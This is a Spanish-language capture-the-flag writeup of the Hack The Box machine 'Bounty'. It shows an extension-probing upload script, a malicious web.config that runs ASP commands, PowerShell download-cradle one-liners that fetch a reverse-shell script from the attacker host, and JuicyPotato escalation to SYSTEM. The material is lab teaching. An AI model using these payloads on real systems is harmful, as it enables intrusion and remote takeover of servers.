Table of Contents
Hack The Box: Bounty Writeup
Welcome to my detailed writeup of the easy difficulty machine “Bounty” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.249.211 --ulimit 5000 -g
210.129.249.211 -> [80]
1$ nmap -p80 -sCV 10.129.249.211 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-08 08:09 CEST
3Nmap scan report for 10.129.249.211
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http Microsoft IIS httpd 7.5
8| http-methods:
9|_ Potentially risky methods: TRACE
10|_http-title: Bounty
11|_http-server-header: Microsoft-IIS/7.5
12Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
13
14Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15Nmap done: 1 IP address (1 host up) scanned in 12.98 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -n -Pn --min-rate 5000 -sU 10.129.249.211 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-08 08:10 CEST
3Nmap scan report for 10.129.249.211
4Host is up.
5All 1500 scanned ports on 10.129.249.211 are in ignored states.
6Not shown: 1500 open|filtered udp ports (no-response)
7
8Nmap done: 1 IP address (1 host up) scanned in 2.38 seconds
Solo vemos el puerto 80/TCP
abierto, así que…
HTTP Enumeration
Por detrás vemos que existe un IIS.
1$ whatweb http://10.129.249.211
2http://10.129.249.211 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.129.249.211], Microsoft-IIS[7.5], Title[Bounty], X-Powered-By[ASP.NET]
Vemos esta imagen al acceder al sitio web.
Podemos analizar los metadatos de esta imagen pero no vemos nada interesante.
1$ exiftool merlin.jpg
2ExifTool Version Number : 12.57
3File Name : merlin.jpg
4Directory : .
5File Size : 781 kB
6File Modification Date/Time : 2018:05:30 22:35:50+02:00
7File Access Date/Time : 2024:08:08 08:12:29+02:00
8File Inode Change Date/Time : 2024:08:08 08:12:29+02:00
9File Permissions : -rw-r--r--
10File Type : JPEG
11File Type Extension : jpg
12MIME Type : image/jpeg
13JFIF Version : 1.02
14Exif Byte Order : Big-endian (Motorola, MM)
15Orientation : Horizontal (normal)
16X Resolution : 200
17Y Resolution : 200
18Resolution Unit : inches
19Software : Adobe Photoshop CS4 Windows
20Modify Date : 2012:03:20 00:51:07
21Color Space : sRGB
22Exif Image Width : 2000
23Exif Image Height : 2000
24Compression : JPEG (old-style)
25Thumbnail Offset : 332
26Thumbnail Length : 5883
27IPTC Digest : 00000000000000000000000000000000
28Displayed Units X : inches
29Displayed Units Y : inches
30Print Style : Centered
31Print Position : 0 0
32Print Scale : 1
33Global Angle : 120
34Global Altitude : 30
35URL List :
36Slices Group Name : Untitled-1
37Num Slices : 1
38Pixel Aspect Ratio : 1
39Photoshop Thumbnail : (Binary data 5883 bytes, use -b option to extract)
40Has Real Merged Data : Yes
41Writer Name : Adobe Photoshop
42Reader Name : Adobe Photoshop CS4
43Photoshop Quality : 12
44Photoshop Format : Standard
45Image Width : 2000
46Image Height : 2000
47Encoding Process : Baseline DCT, Huffman coding
48Bits Per Sample : 8
49Color Components : 3
50Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
51Image Size : 2000x2000
52Megapixels : 4.0
53Thumbnail Image : (Binary data 5883 bytes, use -b option to extract)
Haciendo fuzzing con feroxbuster
(no os echéis encima mía) encontramos una ruta interesante.
1$ feroxbuster -u http://10.129.249.211 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x asp,aspx
2...
3200 GET 1624l 16517w 1403476c http://10.129.249.211/merlin.jpg
4200 GET 32l 53w 630c http://10.129.249.211/
5200 GET 22l 58w 941c http://10.129.249.211/transfer.aspx
transfer.aspx
, vamos a ver que es esto.
Tiene pinta de una subida de archivos, de aquí podemos pensar el vector de ataque que será un archivo malicioso para intentar ejecutar código, lo que todavía no sabemos es donde se suben estos archivos.
$ echo "Esto es una prueba" > test.txt
Parece que archivos txt no le gusta, vamos a probar a subir una imagen.
Voy a subir la misma imagen de Merlín pero con diferente nombre, test.jpg
Finding Exploitable Extensions
¿Y ahora donde se ha subido este archivo?
Como es una máquina fácil, paré el feroxbuster
muy pronto, pero si lo dejamos unos segundos mas…
1301 GET 2l 10w 159c http://10.129.249.211/uploadedFiles => http://10.129.249.211/uploadedFile
Perfecto, pero subir una imagen no me sirve de mucho..
Me interesa reconocer que tipo de archivos puedo subir al servidor, y para ello podemos utilizar el intruder
de burpsuite
, pero como a mi me gusta complicarme la vida, vamos a crear un pequeño script en python :)
Podemos utilizar esta lista de extensiones que proporciona HackTricks.
1import requests
2from pwn import *
3from bs4 import BeautifulSoup
4
5UPLOAD_URL = "http://10.129.249.211/transfer.aspx"
6EXTENSIONS = [
7 ".asp",
8 ".aspx",
9 ".config",
10 ".ashx",
11 ".asmx",
12 ".aspq",
13 ".axd",
14 ".cshtm",
15 ".cshtml",
16 ".rem",
17 ".soap",
18 ".vbhtm",
19 ".vbhtml",
20 ".asa",
21 ".cer",
22 ".shtml"
23]
24
25def do_request(extension):
26 files = {'FileUpload1': (f"test.{extension}", open('test.txt','rb').read())}
27 s = requests.Session()
28 r = s.get(UPLOAD_URL) # __VIEWSTATE and __EVENTVALIDATION
29 soup = BeautifulSoup(r.text, 'html.parser')
30 viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
31 eventvalidation = soup.find('input', {'name': '__EVENTVALIDATION'})['value']
32 data = {
33 "__VIEWSTATE": viewstate,
34 "__EVENTVALIDATION": eventvalidation,
35 "btnUpload": "Upload"
36 }
37
38 r = requests.post(UPLOAD_URL, files=files, data=data)
39 if "Invalid File. Please try again" not in r.text:
40 log.success("Extensión válida %s" % extension )
41
42
43def upload():
44 p = log.progress("Probando extensiones")
45 for extension in EXTENSIONS:
46 p.status(": %s" % extension)
47 do_request(extension)
48
49if __name__ == "__main__":
50 upload()
Si ejecutamos el script..
1$ python3 upload.py
2[q] Probando extensiones: : .shtml
3[+] Extensión válida .config
Podemos subir un archivo .config.
Buscando un poco en Google, encontramos que hay una forma de conseguir RCE a través de la subida de un archivo web.config malicioso https://www.ivoidwarranties.tech/posts/pentesting-tuts/iis/web-config/
Al subir el web.config adjuntado, si la máquina víctima es vulnerable, al cargar el archivo web.config
debería de mostrarse el número 3, esto significaría que se estaría ejecutando código.
Foothold
Podemos confirmar el RCE modificando el archivo web.config
para intentar ejecutar un comando a nivel de sistema.
1<?xml version="1.0" encoding="UTF-8"?>
2<configuration>
3 <system.webServer>
4 <handlers accessPolicy="Read, Script, Write">
5 <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
6 </handlers>
7 <security>
8 <requestFiltering>
9 <fileExtensions>
10 <remove fileExtension=".config" />
11 </fileExtensions>
12 <hiddenSegments>
13 <remove segment="web.config" />
14 </hiddenSegments>
15 </requestFiltering>
16 </security>
17 </system.webServer>
18</configuration>
19<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
20<%
21' Ejecutar un comando del sistema
22Set objShell = Server.CreateObject("WScript.Shell")
23cmd = "cmd.exe /c ping 10.10.14.91"
24Set objExec = objShell.Exec(cmd)
25output = objExec.StdOut.ReadAll
26Response.Write(output)
27%>
28-->
1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
409:19:11.720161 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 1, length 40
509:19:11.720185 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 1, length 40
609:19:12.723036 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 2, length 40
709:19:12.723055 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 2, length 40
809:19:13.721560 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 3, length 40
909:19:13.721580 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 3, length 40
1009:19:14.720033 IP 10.129.249.211 > 10.10.14.91: ICMP echo request, id 1, seq 4, length 40
1109:19:14.720058 IP 10.10.14.91 > 10.129.249.211: ICMP echo reply, id 1, seq 4, length 40
¡Y tenemos RCE!
Haciendo pruebas tuve que reiniciar la máquina, a partir de ahora la IP de la máquina víctima es 10.129.212.243
Ahora con Invoke-PowerShellTcp.ps1
de nishang
vamos a mandarnos la reverse shell.
Modificamos el script inicial y añadimos la siguiente línea.
Modificamos el web.config
para ejecutar el típico one-liner en powershell…
<%
' Ejecutar un comando del sistema
Set objShell = Server.CreateObject("WScript.Shell")
cmd = "cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.91:8081/Invoke-PowerShellTcp.ps1')"
Set objExec = objShell.Exec(cmd)
output = objExec.StdOut.ReadAll
Response.Write(output)
%>
Ahora servimos este script con python
usando su módulo http.server
por el puerto 8081 y si nos ponemos en escucha con netcat
, subimos el web.config
malicioso, y cargamos el recurso…
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.249.222 - - [08/Aug/2024 09:41:28] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.249.222] 49158
4Windows PowerShell running as user BOUNTY$ on BOUNTY
5Copyright (C) 2015 Microsoft Corporation. All rights reserved.
6
7PS C:\windows\system32\inetsrv>whoami
8bounty\merlin
Y podemos ver la flag de usuario en el directorio personal de merlin
1PS C:\Users\merlin\Desktop> dir -force
2
3
4 Directory: C:\Users\merlin\Desktop
5
6
7Mode LastWriteTime Length Name
8---- ------------- ------ ----
9-a-hs 5/30/2018 12:22 AM 282 desktop.ini
10-arh- 8/8/2024 8:35 AM 34 user.txt
11
12
13PS C:\Users\merlin\Desktop> type user.txt
14b42329e84a71be14...
Privilege Escalation
Podemos ver que este usuario tiene el privilegio SeImpersonatePrivilege
, esto huele a JuicyPotato
..
1PS C:\Users\merlin\Desktop> whoami /priv
2
3PRIVILEGES INFORMATION
4----------------------
5
6Privilege Name Description State
7============================= ========================================= ========
8SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
9SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
10SeAuditPrivilege Generate security audits Disabled
11SeChangeNotifyPrivilege Bypass traverse checking Enabled
12SeImpersonatePrivilege Impersonate a client after authentication Enabled
13SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Antes de la explotación, comprobamos el sistema operativo.
Y comprobamos si hay CLSID disponibles para esta versión en el repositorio de juicy-potato y vemos que si.
Nos descargamos el JuicyPotato.exe
del repositorio y nos lo compartimos a la máquina víctima
1PS C:\Users\merlin\Desktop> (New-Object System.Net.WebClient).DownloadFile("http://10.10.14.91:8081/JuicyPotato.exe", "C:\Users\merlin\Desktop\JuicyPotato.exe")
Y podemos repetir el mismo paso de antes, descargarnos el Invoke-PowerShellTcp.ps1
y así mandarnos una reverse shell, y si todo sale bien deberíamos convertirnos en nt\authority system
Nos ponemos en escucha con netcat
por el puerto 443, y nos compartimos el script con python por el puerto 8081.
1PS C:\Users\merlin\Desktop> .\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.91:8081/Invoke-PowerShellTcp.ps1')" -t *
2Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
3....
4[+] authresult 0
5{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
6
7[+] CreateProcessWithTokenW OK
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.249.222 - - [08/Aug/2024 09:55:05] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.249.222] 49185
4Windows PowerShell running as user BOUNTY$ on BOUNTY
5Copyright (C) 2015 Microsoft Corporation. All rights reserved.
6
7PS C:\Windows\system32>whoami
8nt authority\system
Hemos escalado privilegios y ya podemos leer la flag de root
1PS C:\Users\Administrator\Desktop> type root.txt
292608230ded064c7ab...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Bounty #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #HTTP Enumeration #Discovering Exploitable File Extensions #Python Scripting #Scripting #Abusing Web.config #Abusing SeImpersonatePrivilege #JuicyPotato